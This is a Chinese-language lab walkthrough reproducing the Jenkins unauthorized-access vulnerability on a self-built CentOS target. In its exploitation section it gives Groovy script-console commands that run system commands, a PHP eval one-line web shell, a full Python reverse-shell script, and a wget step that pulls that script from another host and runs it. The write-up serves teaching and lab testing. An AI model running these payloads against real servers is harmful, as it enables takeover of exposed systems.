一、Jenkins介绍
1.1 什么是Jenkins?
Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,起源于Hudson(Hudson是商用的),主要用于持续、自动的构建/测试软件项目、监控外部任务的运行。Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle。
1.2 Jenkins的功能
Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:
用于持续性、自动的构建/测试软件
项目监控或跑一些定时任务
监控外部调用执行的工作
1.3 Jenkins的漏洞简介及危害
默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。
1.4 Jenkins的漏洞成因
1、使用低版本的Jenkins,默认没有登录控制
2、有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
3、控制台使用了弱密码
4、Jenkins系统后台中可以执行系统脚本命令
二、靶场搭建
服务器:
Centos 8
IP:
192.168.241.129
2.1 下载 Jenkins 并安装
地址:
官方:http://mirrors.jenkins.io
镜像:https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat/
wget https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat/jenkins-2.258-1.1.noarch.rpm
安装JAVA环境
yum install java-1.8.0-openjdk.x86_64 -y
安装 jenkins 并启动
rpm -ivh jenkins-2.258-1.1.noarch.rpm
service jenkins start
2.2 配置 Jenkins
浏览器访问 8080 端口,将密码复制粘贴过去
之后下一步:选择 安装推荐的插件
设置一个新的用户名、密码,我没设置,选择的“使用admin账户继续”
成功登录进去
2.3 配置 Jenkins 不用账号密码即可登录
但是再次访问 http://192.168.241.129:8080/ 需要admin的账户密码,有点繁琐,为了方便,设置 Jenkins 不使用账号密码即可登录
vi /var/lib/jenkins/config.xml
重启 Jenkins
systemctl restart jenkins
再次访问 http://192.168.241.129:8080/ 不需要账号密码即可进管理后台
注意:
防火墙配置需要关闭防火墙或者开通8080端口,其它主机才可以访问服务器的8080端口
systemctl stop firewalld.service
三、漏洞复现
3.1 发现漏洞
访问目标网站存在 Jenkins 未授权访问漏洞
3.2 漏洞利用
点击 系统管理
之后,下拉找到脚本控制台,点击脚本控制台
执行并打印系统命令
println "whoami".execute().text
println "ifconfig".execute().text
如果知道web站点目录可写入一句话shell,例如:
new File("D:\\phpstudy_pro\\WWW\\php_shell.php").write('<?php @eval($_POST[cmd]);?>');
本案例,无WEB站点,那么通过脚本反弹shell,看看行不行
但是发现 kali 监听端并没有反弹shell
换一个思路先上传python脚本,然后利用python脚本生成一个bash反弹shell
ft.py 脚本内容:
#!/usr/bin/python
# This is a Python reverse shell script
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.241.128",6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
将 ft.py 脚本放在本地WEB服务器上,之后在 jenkins 上执行命令,去WEB服务器上下载 ft.py 到 /tmp/目录下
println "wget http://192.168.241.1/ft.py -P /tmp/".execute().text
执行python脚本 ft.py
println "python3 /tmp/ft.py".execute().text
kali 成功接收到反弹的 shell
四、修复建议
1、配置Jenkins登录验证